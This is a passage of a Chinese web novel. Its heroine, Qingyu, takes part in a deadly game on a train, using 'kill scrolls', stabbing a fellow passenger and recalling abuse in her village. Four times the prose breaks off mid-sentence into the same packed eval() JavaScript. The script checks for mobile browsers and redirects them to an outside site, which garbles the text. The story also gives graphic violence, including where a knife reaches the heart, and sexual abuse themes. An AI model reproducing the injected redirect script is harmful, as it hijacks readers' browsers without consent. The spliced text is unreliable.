每小时结束时,察觉到时间的人可以使用“杀戮卷”杀人,一共五个小时,有五次使用的机会,这样一来,会有一张“杀戮卷”空出来……不对,不是这样算的,那个声音并没有说“察觉时间的人”不能是同一人,如果同一人多次察觉到时间流动,那么就只会消耗一张“杀戮卷”。 所以,其中的关键是,谁能成为那个“察觉时间的人”。 想到这儿,还有一件事也很重要。如果死者被“杀戮卷”杀死,那么他所呈现出来的死状会是被屠杀者杀害的模样,这是唯一会暴露屠杀者身份的线索。 青于不确定自己是不是屠杀者,但她确实有杀害王美燕的记忆,所以她只能暂且将自己当作屠杀者。 这样一来,她要尽可能地维护王美燕,遮掩她的死状,避免被其他人发现蛛丝马迹。 可她一向嘴笨,根本不知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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要是那个光头死了,那第二个选谁呢?她将所有人在脑海里过了一遍,然后将目标定为那个戴眼镜的中年男人。 就在此时,所有人都听见“咔嗒”一声,像是某种机关被触发的声音,紧接着,车厢顶部的灯忽然亮起,机械音响了起来。 “各位尊敬的乘客,第一个小时已经结束,当前车厢内死亡人数为三人。本轮死亡的两人中并没有屠杀者和首轮死者,所以,暂不公布三名死者的身份,副本继续。” 灯光明亮的车厢里依旧坐着六个人,六个看起来活生生的人,但其中有三个死者。 青于咬紧牙关,不安地抠着杀猪刀的刀柄。很麻烦,被杀死的人并没有展现出死亡的姿态,所以现在根本分不清谁是死者,谁是活人。 而且有人在她之前发现了时间的痕迹,好在“杀戮卷”只能用一次,那个人没法借着规则一直杀人。 时钟的指针指向了第二个标记,而第一个标记从一条红色的小蛇变成了一把带血的刀。 他们现在处于第二个小时内。 5. 第五章 车厢内的空气已然凝固成看不见的胶质,黏糊糊地缠在所有人身上,带来一种难以呼吸的憋闷感。灯光明晃晃地照着每个人的脸,却照不进他们眼底的猜疑和算计。 在这样明亮白炽的顶光下,人也像鬼,鬼也像人。 青于的心跳声前所未有的强烈,咚咚咚咚,一声接着一声,一声催促着一声,仿佛要震穿她的胸膛,毅然决然地扯断血管和韧带,逃离这具羸弱的躯壳。 心脏跳得太快了,太急了,让她有些恶心。 她什么都没察觉到,除了黑暗中那倒地的闷响外,她什么都没察觉到。 可在同样的时间里,有人察觉到了时间的秘密,还有人实施了杀人,实施了两次,她连一丝血腥味都没闻到。 快想啊,究竟是哪里有问题?究竟是哪里不对劲! 你的嗅觉不是很灵吗?为什么会闻不到?为什么?为什么! 握着刀柄的手开始颤抖,从手指到手臂,从手臂到肩膀,最后全身都在不规则地颤抖着,冷汗顺着额头往下滑落,流进了眼睛里,火辣辣的。 背后早已被汗湿,单薄的校服短袖紧贴着皮肤,冷得她手脚微微发麻。好像恐惧有了实质,变成了海藻一样黏糊糊湿答答的东西,紧紧贴在她身上。 呼吸越来越急促,通过骨骼传到她的耳朵里,像是飓风一般。 刀柄上裹着的粗麻绳已经被她扣得有些松了,那麻绳经过特殊处理,格外坚硬,翘起来的尖刺戳进她的指甲缝儿里,出血了,血色蔓延了整个指甲盖儿。 很疼,但是也带来了片刻的清醒。 不,别急,千万不要着急,先冷静下来,冷静下来好好观察,好好思考。 在一遍遍地默念下,青于终于冷静了些,她开始观察这节车厢里的每一个人,试图从他们身上找到一些线索。 王美燕依旧安静地坐在原位,双手交叠放在腿上,低着头,枯燥发黄的头发遮住了侧脸,让人看不清她脸上的表情。她看起来很正常,甚至比之前还要安静老实些。 但青于记得那空洞的眼神和诡异的笑容,这是她唯一的已知条件,所以如果她的观察始终没有进展,那她会选择杀死王美燕,至少能证实自己是不是屠杀者。 但是杀她的时机很难把握,什么时候会变暗,变暗的规律是什么,她现在一概不知。 黄毛依旧环抱着手臂,只是姿势有些僵硬,他紧紧抿着嘴唇,眼神在朱芸和其他人之间快速变幻,带着肉眼可见的焦虑和恐惧。 朱芸则与他恰恰相反,她甚至比之前更加张扬,以一个极为放松的姿势靠在椅背上,嘴角噙着一丝冷笑,手指无意识地摩挲着那张“杀戮卷”的边缘,烫金的“杀戮”二字在灯光下闪烁着,比任何利刃都具有威慑力。 戴眼镜的中年男人隔一会儿便要推一推镜框,喉结也频繁地滚动着,不知哪里来的那么多口水要吞咽。 他的额角有细密的汗珠渗出,脖颈上的青筋鼓起,不只是恐惧还是别的什么。他努力地强装出镇定的模样,对上任何一个人的目光都会露出一个和善的笑容。 青于配合地朝着他露出一个假笑,然后微微移开目光去看另一个人,可那男人的目光就像是黏在她身上一样,怎么甩也甩不掉,她扭头看过去,对着那不停吞咽口水的男人扬了扬手中的杀猪刀,露出一个更为灿烂的笑容。 一排整齐白净的牙露了出来,那笑容和刀刃一样危险。男人猛地缩了缩脖子,喉结剧烈地滚动了一下,随即慌乱地低下头。 那光头男人依旧像一座铁塔般伫立在那儿,他双臂抱胸,粗壮的手臂上肌肉虬结,凶恶的脸上没有任何表情,目光冷冷地观察着车厢里的一切动静,他偶尔看向朱芸和黄毛时,眼里带着一丝不易察觉的审视和警惕。 最后,青于紧盯着车厢前方那个巨大的红色时钟,试图在钟表上捕捉时间的流逝,这是她能想到的,唯一和时间有关系的东西。 可那粗短的时针滞留着,丝毫没有走动的迹象。 朱芸突然嗤笑一声,打破了死寂:“怎么?都吓傻了?刚才喊打喊杀的劲头呢?”她挑衅的目光扫过黄毛,“黄毛怪,小心哦,下一次死的就是你。” 黄毛的脸色瞬间变得煞白,他瞪大了眼睛,声音嘶哑地吼道:“闭嘴!” 他眼里布满了红血丝,整个人因为紧绷有些颤抖,那只手死死攥着衣角,指节泛白,虚张声势地吼着:“朱芸,你少在这里煽风点火!谁知道新增的两个死者是不是你干的?你刚才不是挑唆着让他们自相残杀吗?” “呵,”朱芸轻蔑地翻了个白眼,眼睛紧紧闭了一下表示不屑,她的身体微微前倾,流畅的身形像一只蓄势待发的猎豹,说话时格外狂妄,“你要么拿出证据指认我,要么直接动手杀了我。要是又没证据又没胆子,就缩好你的脑袋,别在这里狗叫,吵得人心烦。” 中年男人突然出声试图拉架,他的声音平缓沉稳,有种窝囊的轻柔感:“大家冷静点,现在情况不明,互相猜忌只会让屠杀者有机可乘。我们、我们是不是该想办法确认一下谁是……” “确认?”朱芸打断他,眼神格外凌厉地看向他,仿佛要将他一点点凌迟,“你想怎么确认?靠嘴说吗?还是靠你那张没用的‘杀戮卷’?省省吧,在这种地方,指望所有人配合你比登天还难。” 她的目光有意无意地瞟向光头男人的方向,话里话外充满了暗示。 光头男人依旧沉默着,并没有参与到这场言语冲突中来。他的目光与朱芸短暂交汇,像两个肉食者冷漠地审视和评估,好像在这节车厢里,他们只认可对方成为自己的对手,其余的人都是势在必得的猎物。 青于的视线在朱芸和光头之间快速移动,脑子里疯狂盘算着。 从眼前的局势来看,引导朱芸和光头之间的矛盾是最紧要的,那样一来可以看看他们双方的能力,又能一下除掉两个威胁者。但是,这样很危险,非常危险。 朱芸和光头绝非善类,稍有不慎就可能反被利用,成为他们计划中的一环。 而且朱芸敢在这种时候出头当一个靶子,显然有所倚仗,会不会,她所期待的就是有人能先出手,自己跳入她设下的陷阱。 此时,朱芸和黄毛的争执声调再次拔高,中年男人焦急地试图劝阻,他甚至从座位上站了起来,走到黄毛身边低声下气地劝他退一步,说什么“好男不跟女斗”。 就在这时,朱芸手中凭空出现了一把刀,刀刃泛着寒光,在顶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427614|184859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灯的照射下越发渗人。她将刀刃指着中年男人,让他滚开。 所有人都有片刻的呆滞,显然是被朱芸突然拿刀的动作吓住了,在一瞬间的定格后,是夹着尾巴走开的中年男人、拿着刀越发威风的朱芸、气得脸红脖子粗的黄毛。 闹剧还在眼前上演,但青于好像领悟了什么叫时间的秘密。她的心脏剧烈跳动起来,目光瞬间看向那高高悬挂的时钟。 她舔了舔唇,轻轻咬着唇上因干裂而翘起的一小片皮,待那皮被她彻底咬下后,唇上多了个小伤口,刺刺地疼,还流了血。 咽下一口带着血丝的唾沫,她不安地摩挲着那张“杀戮卷”,轻轻启唇,无声地说:“第二个小时是,争执。” 眼前的画面被定格了,只有一个简单的屏幕出现在她眼前,纯白的屏幕上浮现着黑色字迹,看起来很是不祥。 【争执:黄毛与朱芸矛盾激化,中年男人介入失败。】 【第二个小时的事件已成功截取,生成时间坐标。】 【尊敬的旅客,“杀戮卷”已生效,现在,请您确定您要杀死的目标。请您放心,“杀戮卷”成功消耗后,您依旧会保留着一张一模一样的纪念品,那是本次副本留给您的记忆坐标。】 纯白的屏幕上出现了选择界面,五个人的头像在上面一一呈现。 青于的指尖悬在屏幕上方,难以抉择。 她想要杀死王美燕,通过她的死状来确定自己究竟是不是屠杀者,如果她的死状是被自己一刀劈开,那自己就是屠杀者,可如果不是,那就是假的,是障眼法。 她想要杀死那个光头,那人看起来就不好惹,如果正面对上,自己一定不是他的对手。 可……王美燕的死状其实没那么重要,因为不管是不是屠杀者,想要活下去就只能不断杀人,而且她不敢肯定第一个小时里的两个死者中没有自己。 既然这样,那就杀威胁大的。可是杀了也不会死,照样还是活着的,有什么用吗? 【尊敬的旅客,死者没有察觉时间的能力,手中的杀戮卷也会失效。请谨记,副本目标是找出“屠杀者”,本次副本只有两个结局,“屠杀者”死亡,全员生还,“屠杀者”胜利,仅他一人存活。】 【尊敬的旅客,所有低级副本都不会造成不可逆的死亡,在副本结束时,所有死者都会活下来,但需要扣除大量的通关币。请您努力存活,避免背上巨额债务。】 青于又问:“通关币很重要吗?不还债会怎么样?” 【尊敬的旅客,若债务堆积到一定程度,双子大厦会派人前来讨债,请您不要试图招惹他们。】 青于:“谢谢你。” 【旅客不必道谢,为您答疑解惑是我们的职责,在停格的时间里,您可以向我们咨询一切问题,不管什么问题,只要您付得起代价,我们就会给出答案。玩家青于本次共咨询三个问题,共收费六个通关币,将在下车时统一收取。】 青于:“收费的你怎么不早说!” 【尊敬的旅客,请您注意时间,时间是极为宝贵的资源,您只有五分钟的时间能够考虑,现在只剩二十秒,后续超出的时间将会全部换算为通关币。】 青于:“我选!我选光头!” 6. 第六章 她话音落下的一瞬间,屏幕上属于光头的头像闪烁了一下,随即暗淡下去。 三个鲜红的大字覆盖其上:已死亡。 随即“咔嗒”一声,时针往前走了一步。他们成功越过了第二个小时,现在的时间节点是第三个小时。 第二个小时的标志从一条盘踞的蛇变为好几条缠绕在一起的红色小蛇,乱糟糟的,像针线筐里的红色毛线团。 电子音也开始播报了:“各位尊敬的乘客,第二个小时已经结束,当前车厢内死亡人数为四人。本轮死亡的一人中没有屠杀者和首轮死者,所以,暂不公布四名死者的身份,副本继续。” 没有! 青于被不安攫住,她没上过学,自然不知道什么概率,只知道现在车厢内的活人里,有一个屠杀者、一个死者、一个普通旅客。 第一个小时死亡了两人,但是两人中没有死者和屠杀者,所以不公布身份。 第二个小时死亡了一人,同样不是死者和屠杀者,所以身份依旧保密。 这三个人的身份是绝对安全的。 死者无法察觉时间的流动,也无法使用“杀戮卷”,所以我不是死者。 光头被我杀了,所以我可以证实他普通旅客的身份。 现在除了我之外,只有一个人可以察觉时间,但是他未必能使用“杀戮卷”。 如果那人就是第一个小时里察觉时间的人,那他也没有使用“杀戮卷”的机会了,所以现在,想要杀人,必须直接杀。 好像没那么难了,有点头绪了。果然,试一试,总能行的,就算她对这趟列车完全陌生也没关系,万一呢,万一她就是能够很快适应呢。 人活着是没有退路的,只能闷着头往前走,不管什么时候,总得拼一把,万一呢。 青于现在已经隐约懂了什么是时间流动,就是事件。这些具体的事件形成了时间坐标,让人更方便翻找回忆。 她也有这种习惯,因为没有手机手表这类的计时工具,所以学会了用具体的事情来代指时间,跟人交流时也不会说哪年哪月哪日,而是有更为具体的细节,在他们的交流中,事件成为了时间。 去年收玉米的时候雨水多,地里的路不好走,收一块地的玉米都要忙活好几天。那几天她总和邻居家的姐姐结伴,走在泥泞的田埂上,一边啃着生玉米一边说悄悄话。 姐姐说她要嫁人了,她奶觉得她年纪大了在家里待着让外人看笑话,正巧有人上门提亲,她奶就要把她打发了。 在他们村,嫁女儿叫打发女儿,养了十几年,最后把她打发去别人家里当妻子、当妈妈。 青于还记得那天的雨滴砸在玉米叶上,噼啪作响,像老天爷在笑话她们一样。 笑她们没用,笑她们命贱,笑她们十几岁离开家,笑她们一辈当牲口。 邻居家的姐姐才十九岁,就被家里打发了。 后来,提起那一段时间,老人们就会说,小春彩出嫁的时候。 小春彩出嫁的那年,雨水特别多,第二茬种下的玉米种子都泡得发了芽。 小春彩出嫁的那年,王富家遭了难,他家的冬瓜树长得最好,有买家上门买,王富就带人上山,卖了树,兜里有了钱,下山的时候就把腿摔断了,之后那些钱全部交了医院。 冬瓜树是桤木,青于小时候和妈妈一起逃跑,她们躲在桤木林深处,听着村里人打电话,说是在冬瓜树林里发现了脚印。妈妈一边哭一边抱着她说,“小鱼,这个树的学名叫桤木,妈妈这次带你出来,就是让你看看桤木。” 她那时太小,信了。 小春彩出嫁的那年,青于的堂哥大学毕业回村里,穿得像个城里人,提着给家里人买的礼物,说自己要读研读博。 村里人不知道什么是研,什么是博,只知道王富儿子六千买的那个老婆名字里有个妍,那是个四十岁的女人,只比王富小三岁,嫁过很多人,生过很多孩子,王富家看重她能生儿子。 堂哥给青于买了条裙子,细肩带,湖蓝色,上身会紧紧地勒住身体,下面的裙摆很宽大,像一朵喇叭花。 青于从没穿过这样的裙子,就躲在夜里悄悄试衣服,借着昏暗的月光一点一点往上提,布料滑过皮肤,像夏日里突然掠过的凉风,也像一只没有茧子的手掌。 她不敢让旁人看见,所以小心翼翼地试,但还是惊扰了睡眠很浅的奶奶,她睁着眼坐起来,目光从裙摆上移到青于瘦弱的身板上,最后定在青于的脸上,丧着一张脸,语气阴森地说:“你哥是念书的人,要讲派头,你一个贱丫头穿这么妖做什么?骚里骚气的,让人家看笑话。” “脱下来!” 青于脱了裙子,踩在脚底下,赤条条地站在屋里,站在自己那张用板凳和红板搭出来的小床边,月光凉凉地覆盖着她的全身,像是一件独属于她的衣裳。 奶奶从铺上起来,瘦巴巴的身体很是干练,她动作强硬地拽走那件衣裳塞进装衣服的木箱子里,锁上箱子后,她低声咒骂着“骚货”“小贱人”,那道声音像毒蛇一样钻进青于的皮肤里,用两颗毒牙慢慢磨着,将她的皮剥下,只剩下鲜红的血肉。 而奶奶指着她鲜红的血肉骂道:“小贱人,穿得这么艳是要勾引谁?” 言语又化作利刃,剜下她的血肉,只剩森森白骨。 那是白骨,灰白的颜色,老实的颜色,安分的颜色,所以奶奶不再骂她。 堂哥问她为什么不穿新裙子,她低着头沉默地扫着猪圈,一言不发。 堂哥就说,“青于,小时候的事是我不懂事,你别怪我。等我开学了,我带你一起离开村里,你可以去城里打工,自己赚钱养活自己,怎么着也比困在村子里一辈子好。” 她没答应也没拒绝,只是问:“哥,研和博是什么?” 堂哥说那是学历,是学位,是山里的土地里长不出的东西。 青于望着远处起伏的山影,忽然觉得堂哥这个大学生也没那么聪明,山里的土地里怎么会长不出来研和博?明明堂哥的一切都是土地里长出来的,这些贫瘠的土地养活了他,也养活了他念的书,研和博都只是穗子,长在堂哥这根茎秆上的穗子。 前程是看不见的田,一家人都在努力耕耘。 但是堂哥会想要带她离开,应该是个好人。 可是,要是这个好人没有在十几岁的时候把她关在房间里剥了衣服就更好了,她挣脱他的怀抱离开,像一条鱼游出了黑色的海洋,去找家里说话分量最重的奶奶。 “小孩子家家懂什么,你哥跟你闹着玩的。”奶奶的手掐着她的胳膊,狠狠地掐着,还要叮嘱她:“别往外说,这事儿你吃亏,往后找不到婆家的。” 又说闹着玩儿,又说她吃了亏,话里的矛盾左右拉扯着,像两股绳绞紧她的喉咙,给她判了死刑。 她没再说话,盯着门槛外一株狗尾草,那穗子毛茸茸的,像堂哥毛衣上的线头。 她其实懂的,她懂那不是闹着玩,而是一种没有人性的攻击,毕竟,她曾经遇见过,在妈妈还在的时候。 那时候妈妈还在,她跪在地上,满手鲜血地把自己抱进怀里,小声说:“没事的小鱼,妈妈帮你把坏人打跑了。如果以后妈妈不在了,你要自己把坏人打跑,不要被欺负。” 妈妈不在了,坏人却还在。 青于知道,她必须继承妈妈的意愿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427615|184859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,把坏人打跑。 “砰——” 那中年男人突然猛地撞向车厢连接门,巨大的声响将青于从自己的思绪中唤醒,她快速将那些情绪抽离,冷漠地盯着那个男人的动作。 她总是很容易发呆,随后陷入自己的思绪里,对外界的感知变得迟钝。 这是个坏习惯,在这样危险的环境中会让她陷入被动。但也是个好习惯,在曾经的过往中,她这样抵御着外界的伤害,那些伤害变得轻描淡写,刮不下她一层油皮。 男人踉跄着站稳,回头瞥了一眼他们,目光里满是恐惧,大声嚷嚷着:“快来啊!我们一起撞开这扇门,然后逃出去,难道你们都想死吗?” “我要下车!我要下车!” 所有人都冷漠地看着他。 就连朱芸和黄毛都停止了争吵,目光里透着讥诮与麻木。 那男人看他们无动于衷,便喘着粗气继续用肩膀狠狠撞击那扇金属门,一下又一下,沉闷的撞击声响彻车厢。 他像个笑话,又像一头困兽。 他坚持不懈地撞门,始终没有人去帮他。 青于看着看着,突然想起来一件事,朱芸和黄毛一直在争吵,但是第一个小时内,所有人都很安静,他们便不受干扰地吵到第一个小时结束。 然后天黑、杀人、时间结束。 杀人是第一个小时的事件,所以是染血的刀。 争执是第二个小时的事件,所以是缠绕的蛇。 第二个小时和第一个小时很是相似,朱芸和黄毛一直在争吵,唯一的区别就是中年男人试图劝架。 他真的想劝架吗?还是想要借着劝架这个行为,制造事件。 正如现在,他试图借着撞门这件事,制造新的事件。 那他为什么会知道呢?难不成第一个小时内杀人的是他?他原本只想藏在暗中杀人,没想到机缘巧合之下导致事件成立,然后又顺势使用了“杀戮卷”,所以那一轮死了两个人。 那他会是除了自己之外的那个活人吗? 青于凝视着那中年男人的背影,他穿着一件浅蓝色的衬衫,袖口磨损得起了毛边,领口因为多次清洗松垮变形,看起来有些邋遢。现在他后背被汗水浸透,衬衫紧贴在脊背上,勾勒出他瘦削的肩胛骨。 握着刀柄的手越来越紧,青于觉得自己身体里有一只弹簧,已经被压到了极致,随时都会弹出。她在努力压制那只弹簧,生怕自己失控地冲上去验证猜想。 车里的灯好亮,在这样明亮的光线下动手,她有些紧张。 再等等,等下一次灯灭,一定会灭的。 不过,在灯灭前,她得往前挪一挪,不然在黑暗中从最后排跑到最前面的车厢连接门实在有些困难。她缓缓起身,脚步轻得几乎听不见,一排一排向前移动,最终坐在了王美燕的前面一排。 和那个男人之间隔着一排的距离。 为了让自己改变座位的行为不那么突兀,她就转头看向王美燕,很小声地和她搭话:“你有什么发现吗?你是老师,一定很聪明,有什么发现吗?” 王美燕猛地抬头,脸上的表情有些狰狞,那双眼瞪得大大的,像是要从眼眶里滚落出来一样。 她喑哑地出声回答:“我跟你说过,我是老师吗?” 青于被她吓了一跳,皱着眉说:“我自己猜的,你说你女儿上高中,学校老师都说你们长得像,她去学校那些老师总会问她是不是你女儿……所以,你有什么发现吗?” 王美燕怔了片刻,扯着嘴角露出一个有些阴森的笑容,“没有。你呢,你有什么发现呢?” 青于摇了摇头,照样说,“没有。” 7. 第七章 客套且没有意义的闲聊到此结束,两人都没了交流的欲望,各自撇开脸,面无表情地盯着一个方向发呆。 青于握紧刀柄,脑子里出现了很多画面,都是即将发生的事情,她在脑海里一遍遍预演,确保待会儿冲上去的时候万无一失。 要怎么冲过去,要从哪儿下刀,杀了人后怎么脱身,她慢慢地想着,细细地想着。 杀猪的时候是捅脖子,割断血管,让血快速地喷涌出来,这样不会伤及内脏,猪血也能完整收集。 但是杀人有些不同,杀人的时候,割脖子放血太慢了,得直接刺穿心脏,才能一击毙命。刀刃要顺着肋骨的缝隙狠狠捅进去,避开骨头的阻挡,精准刺入心脏,以前她只是幻想,无数遍地幻想将尖刀刺进那些人的心脏。 但是因为不清楚人体构造,所以每回做梦都只能凭感觉找位置,后背或前胸胡乱地捅上几刀,鲜血四溅,把整个梦都染得通红,醒来后却连下刀的位置都记不清。 后来她捅了很多人,渐渐有了些手感,知道心脏大概在那个位置,拳头大小的一颗,算不上大,捅歪了也不要紧,只要扎进胸腔里,不停地搅动刀刃,总能戳到,就算戳不到心脏,将肺部捅破也依旧会死。 上方的灯忽然闪了两下,随即开始规律地闪烁。 每一次黑暗降临都只有短短几秒,却足以让车厢陷入令人窒息的恐慌。每一次光明重现,都会短暂地照亮那些惊慌失措的脸。 “怎么回事?灯怎么了!” 朱芸大声喊叫着,在这跳跃着不安的光线下,她的声音格外尖利,像是一柄尖刀,划破了平静的假象,也划破了所有人浮于表面的镇定。 黄毛也猛地站起身,警惕地环顾着四周,手上不知何时多了把枪,他打开手枪的保险栓,子弹上膛的声音格外清脆,是威慑也是警告。 “我靠,搞什么鬼!”黄毛举着枪的时候,好像胆子都大了不少,整个人舒展又放松,不像是先前畏缩的姿态。 王美燕则闭眼躲避那光线的闪烁,她取下眼镜握在手里,嘴唇无声地翕动着,看起来神神叨叨的。 那个男人撞门的声音也消失了,他就那么站在那里,一动不动的,仿佛在等待什么。在等什么?时间的跳动,还是即将来临的死亡? 青于站起来了,身体里那只被压到极致的弹簧猛地弹开,她迫不及待地从座位上弹起来,冲向早已盯上的猎物,想要用这个猎物的死亡换取一个答案。 就是现在! 在光明与黑暗不断交错的掩护下,她紧握着刀,手臂蓄满了力量,目标明确地扑向前方那个扶着门框的身影。她的呼吸短暂停滞,不敢惊扰此刻的迫切,所有感官都集中在一点上,那汗湿的蓝色衬衫下,大概属于心脏的位置。 在短暂又纯粹的黑暗中,那柄沉重的杀猪刀破开空气狠狠刺了中年男人的后背。她能感觉到刀尖刺破布料后没入皮肉的阻力,用力破开阻力后,那顺畅的穿透感让她兴奋得浑身战栗。 “啊!”一声短促又凄厉的惨叫在黑暗中炸响,随即被亮起的灯光暴露无遗。两张同样狰狞的脸暴露在众人的目光中,一张因为疼痛而狰狞,一张因为兴奋而狰狞。 刀刃被拔出,鲜血随之喷涌,溅在青于脸上和身上,温热而腥咸的液体弄脏了她新买的衣服。男人倒地,大片血迹在车厢地板上迅速蔓延,蜿蜒地流着,从宽到窄,一条殷红的线贯穿了这一节车厢。 此时灯光大亮,将车厢内的一切照得清清楚楚。拿着刀浑身是血的行凶者,还有倒在地上浑身抽搐的受害者,血液从他胸口的洞里涌出,源源不断。 他张着嘴,喉咙里发出“嗬嗬”的声响,四肢徒劳地挣扎着,看着是想要站起来,却始终没有成功,反倒蹭得地板上全是血。 车厢内死一般的寂静,连鲜血滴落在金属地板上的“嘀嗒”声都格外清晰。 朱芸和黄毛彻底僵住了,脸上的愤怒和警惕被纯粹的震惊所取代,王美燕捂住了嘴,眼睛瞪得好大,死死盯着那具尸体。而那个光头则站了起来,目光落在青于身上,没有惊恐和警惕,只有满满的赞许。 青于站在尸体旁,一直屏息等着他咽气,等到男人彻底没有动静的那一刻,她才如梦初醒,急促的呼吸伴随着心脏剧烈地跳动,她又变回了那个沉默寡言的女孩儿青于。 往后退了半步,她放松身体靠在冰冷的车厢连接门上,沾满鲜血的手有些发麻,她将杀猪刀换了一边拿着,静静回味着那种几乎将她整个人撑破的兴奋感。 血液从身上往下流的时候会带着一点微弱的痒意,那痒意在她的脸上、脖颈上、手上出现,留下一道鲜红的痕迹。 她没有去看任何人的表情,只是抬起了头,目光越过眼前的尸体,看向车厢前方某个虚无的点,那里的场景好像变成了一片小小的拼图,被定格了,时间在流动,但是那一片拼图始终没有变化。 她嘴唇微微开合,无声地开口:“第三个小时是,平息。” 随后,画面逐渐定格,眼前所有的场景都变成了小块小块的拼图,能看见上面明显的拼接线,鲜血和尸体被分成无数碎片印在拼图上,看起来也没那么吓人了。 随后,便响起了熟悉的电子音。 【平息:中年男人煽动旅客逃离,青于平息了这场风波。】 【第三个小时的事件已成功截取,生成时间坐标。】 【尊敬的旅客,您的“杀戮卷”已失效,按照隐藏规则,本轮您可以选择查看一位旅客的信息。请您注意,查看旅客信息的机会十分稀少,所以请您谨慎选择。】 在那个熟悉的界面上,青于点击了王美燕的头像。 【旅客信息:王美燕,43岁,高中语文教师,曾荣获“省级优秀教师”,前后经历了两段婚姻,与前夫育有一女。已装配天赋:优秀教师的品格。】 文字信息显示结束后,屏幕上出现了一段视频。 画面中,台灯昏黄的光线照亮了一方小书桌,那是一张儿童书桌,印着粉红色的卡通人物,桌子的高度和大小明显不适合成年人使用。王美燕姿态蜷缩地坐在椅子上,正在低头写着教案,笔尖划过纸张出现频繁的沙沙声,端正的字迹铺满了白色的纸张。 这时,她身后的门被打开了,一个身材高大的中年男人拎着装满蔬菜的塑料袋走了进来,他穿着老旧的夹克外套和洗得变形的牛仔裤,沉重的脚步声穿过狭窄的玄关走进了厨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427616|184859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房,随后将塑料袋随手扔在料理台上,发出一声闷响。 王美燕笔尖顿了一下,纸面洇开一个小墨点,但她没有抬头也没有说话。 男人从厨房出来,目光不善地看向她蜷缩的姿态,眼里是浓浓的嫌弃和厌恶,他不耐烦地说:“给我拿五百,我去楼上打牌。”他解开外套扣子,露出里面起球松垮的黑色毛衣,男人结实的肌肉将薄薄的毛衣撑了起来,能看出他的壮实。 窗外雨滴开始敲打玻璃,这样阴的天,雾霾那么重,才是下午,屋内已经暗得不行了。昏黄的灯光照亮了王美燕低垂的眉眼,她缓缓合上教案本,将碳素笔盖上盖装进女儿淘汰下来的文具盒里。 雨声渐密,教案本边缘被她焦虑的指腹搓得卷边,她依旧低着头,轻声说:“这个月的生活费已经给你了,我不会再给你拿钱了。” 男人冷笑一声,迈开步子逐渐逼近,直到他带来的阴影吞没那片昏黄的光,完全笼罩在王美燕身上,像是一只趴在她身上吸血啃肉的怪物。他一把抓起教案本撕得粉碎,纸页如残雪纷飞,飘得到处都是,每一片都写满了字,是王美燕的心血。 王美燕仍低着头,右手紧紧捏着文具盒,指节发白,手背上青筋鼓起。文具盒只是一层薄薄的铁片,被她攥得变形,发出细微的声响。 她始终没有抬头,颤抖的呼吸声在昏暗的屋子里格外清晰,喑哑的嗓子再次说道:“你知道女儿去哪了吗?” “少跟我扯这些,给我拿钱,我要去打牌。” 王美燕冷不丁地笑了一声,继续问道:“是去打牌,还是去找楼上那个女人。王振云,你出轨的事情我已经知道了。” “王美燕,我出轨了能怎么样?”男人突然揪着她的头发将她拽起来,那张凶恶的脸凑近了,说出的话一点一点击溃王美燕的心理防线,他说:“你不能给我生儿子,我自然要去找别的女人给我生儿子……快给我拿钱,不然别怪我动手了。” 王美燕终于抬起头,目光直直望进他眼里,没有正面回答他的问题,反倒开始自说自话,“所以,你不知道女儿去哪了,是吗?” 男人不耐烦地吼道:“那是你女儿,又不是老子的女儿,赶紧给我钱,不然老子今天打死你。” “好,我给你拿钱,你先松手。” 男人闻言放开手,抖了抖衣襟刚想说话,就被一刀割开了喉咙,鲜血喷涌而出,他想要说话却无法开口,只能死死地瞪着王美燕,双手徒劳地抓着她的手腕。 王美燕挣脱他的手,在他腹部又捅了好几刀,鲜血溅在她身上,让她看起来像恶鬼一样。 最后,她跪在地上喘息着,泪流满面地靠在那张儿童书桌上,桌角还贴着女儿小时候最喜欢的贴纸,边缘处还有她用水彩笔画过的痕迹,王美燕伸手慢慢抚摸那些涂鸦,最后停在两个歪歪扭扭的字上。 上面写着:妈妈。 她的指尖轻轻摩挲着那两个字,在上面留下浓浓的血迹,这一刻,她渴望这些鲜红的血迹能够穿越漫长的时间,穿过生死,落在女儿苍白冰冷的掌心里。她闭上眼,泣不成声地说:“不怕啊不怕,妈妈在呢,有妈妈在呢。” 视频到此结束,屏幕陷入漆黑。 8. 第八章 